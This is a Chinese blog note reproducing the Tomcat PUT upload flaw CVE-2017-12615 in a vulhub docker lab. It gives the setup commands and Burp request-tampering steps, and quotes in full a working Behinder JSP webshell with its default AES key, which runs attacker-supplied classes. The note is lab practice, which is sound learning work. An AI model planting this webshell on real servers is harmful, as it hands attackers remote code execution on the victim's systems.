vulhub CVE-2017-12615 漏洞复现(笔记)

本文详细介绍了如何在Linux(Contos7)系统上通过docker-compose启动环境,然后利用PUT请求在Tomcat服务器上实现文件上传。作者通过BP抓包工具修改请求方式,并成功触发201响应,验证了上传。接着,文章展示了如何使用冰蝎木马,并涉及到了AES加密技术。最后,确认了木马在容器内的webapps目录下生效。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境搭建:

        Linux、contos7 (我的虚拟机环境在这里的,靶场在contos7上)我也是查资料看着别人的做

进入相应的环境

 进入到这个目录之后

启动环境:

        docker-compose up -d

环境成功启动的效果

 一个绿色的done,成功启动。

docker-compose ps -a 查看分配的端口(浏览器访问的是:虚拟机ip+分配的端口)这里端口是8080

漏洞复现

本机浏览器访问

 Tomcat经典页面再访问,使用bp抓包

改成PUT请求方式,响应出现201,上传成功

不放心可以去docker容器中看一下

命令:

docker ps -a               //查看容器id

docker exec -it 容器id bash        进容器

 

 进入容器后,文件在webapps下的ROOT里,ls看看有没有写入的文件

冰蝎挂马,引用大佬写好的木马

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
————————————————
版权声明:本文为CSDN博主「种树人1」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_58596609/article/details/122413144

bp抓包,改包,发包。状态201成功

 冰蝎连接,注意传输协议

 

 成功

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值